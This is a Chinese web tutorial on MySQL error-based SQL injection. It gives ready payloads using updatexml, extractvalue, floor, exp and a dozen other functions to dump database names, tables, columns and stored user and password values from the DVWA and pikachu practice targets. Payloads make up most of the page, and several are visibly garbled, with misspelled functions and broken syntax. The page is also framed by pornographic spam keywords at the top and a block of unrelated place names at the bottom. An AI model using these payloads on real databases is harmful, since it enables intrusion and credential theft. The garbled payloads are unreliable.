最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入報錯注入函數(shù)圖文詳解

 更新時間:2022年07月07日 15:40:58   作者:lightsec  
報錯注入是SQL注入的一種,下面這篇文章主要給大家介紹了關(guān)于SQL注入報錯注入函數(shù)的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下

前言

報錯注入的前提是當(dāng)語句發(fā)生錯誤時,錯誤信息被輸出到前端。其漏洞原因是由于開發(fā)人員在開發(fā)程序時使用了print_r (),mysql_error(),mysqli_connect_error()函數(shù)將mysql錯誤信息輸出到前端,因此可以通過閉合原先的語句,去執(zhí)行后面的語句。

常用報錯函數(shù)

updatexml()         是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)
extractvalue()      是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)
floor()             mysql中用來取整的函數(shù)
exp()               此函數(shù)返回e(自然對數(shù)的底)指數(shù)X的冪值

用法詳解

updatexml()函數(shù)

updatexml()函數(shù)的作用就是改變(查找并替換)xml文檔中符合條件的節(jié)點的值

語法:updatexml(xml_document,XPthstring,new_value)

第一個參數(shù)是字符串string(XML文檔對象的名稱)

第二個參數(shù)是指定字符串中的一個位置(Xpath格式的字符串)

第三個參數(shù)是將要替換成什么,string格式

Xpath定位必須是有效的,否則則會發(fā)生錯誤。我們就能利用這個特性爆出我們想要的數(shù)據(jù)

實例

注冊就是往數(shù)據(jù)庫里添加數(shù)據(jù),insert。

在用戶處輸入單引號 報錯

猜測后端語句

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

可以在xxx處對單引號閉合,爆出我們想要的數(shù)據(jù)

?id=1' or updatexml(0,concat(0x7e,select database()),1)'

閉合單引號使語句逃逸出來,之后重新構(gòu)造語句查詢,爆破出庫名為:"pikachu"

分析過程

當(dāng)輸入payload

?id=1' or updatexml(0,concat(0x7e,select database()),1)or'

后端會被拼接為

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

表名列名字段和正常查詢一樣只是換了個位置

利用過程

庫名

1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查表信息(假定有一個users表,庫名為dvwa

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

查字段值(假設(shè)字段名為last_name(dvwa.users意思為調(diào)用dvwa庫的users表)

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

extractvalue()函數(shù)

extractvalue()函數(shù)的作用是從目標(biāo)xml中返回包含所查詢值的字符串

extractvalue (XML_document, XPath_string);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為doc

第二個參數(shù):XPath_string(Xpath格式的字符串),Xpath定位必須是有效的,否則會發(fā)生錯誤

構(gòu)造payload

?id=1' or extracrvalue(0,concat(0x7e,database())) or '

注意xpath回顯只有一位使用limit函數(shù)逐個爆,且最長為32位,超過32位爆不了

利用過程

當(dāng)前庫

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

當(dāng)前表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

表信息(假設(shè)表為users

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

字段值(字段為user_id,first_name,last_name,(dvwa.users意思為調(diào)用dvwa庫的users表)

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函數(shù)

floor()是mysql的一個取整函數(shù)

庫名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

表名(庫為dvwa,通過修改 limit 0,1值遞增查表, limit 1,1、limit 2,1

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段名(庫:dvwa,表:users

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段值(字段值:user,password(dvwa.users意思為調(diào)用dvwa庫users表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

exp()函數(shù)

當(dāng)傳遞一個大于709的值時,函數(shù)exp()就會引起一個溢出錯誤。

庫名

id=1' or exp(~(SELECT * from(select database())a)) or '

表名(庫名:pikachu

id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

字段名(表名:users

id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

字段值(字段名:password,表名:users

id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

12種報錯注入函數(shù)

1、通過floor報錯,注入語句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過extractvalue報錯,注入語句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通過updatexml報錯,注入語句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過NAME_CONST報錯,注入語句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通過GeometryCollection()報錯,注入語句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

總結(jié)

到此這篇關(guān)于SQL注入報錯注入函數(shù)的文章就介紹到這了,更多相關(guān)SQL注入報錯注入函數(shù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論

庆安县| 石门县| 蒙城县| 南宫市| 大宁县| 通城县| 望都县| 桃江县| 葵青区| 沙坪坝区| 什邡市| 胶南市| 呼玛县| 东台市| 天祝| 宁城县| 阿拉善盟| 临猗县| 城步| 绩溪县| 洮南市| 大丰市| 西城区| 成安县| 蓝田县| 新昌县| 黄大仙区| 芦山县| 和平县| 忻州市| 西充县| 平泉县| 四川省| 大兴区| 德清县| 丹巴县| 泽库县| 日喀则市| 聂荣县| 商洛市| 扎赉特旗|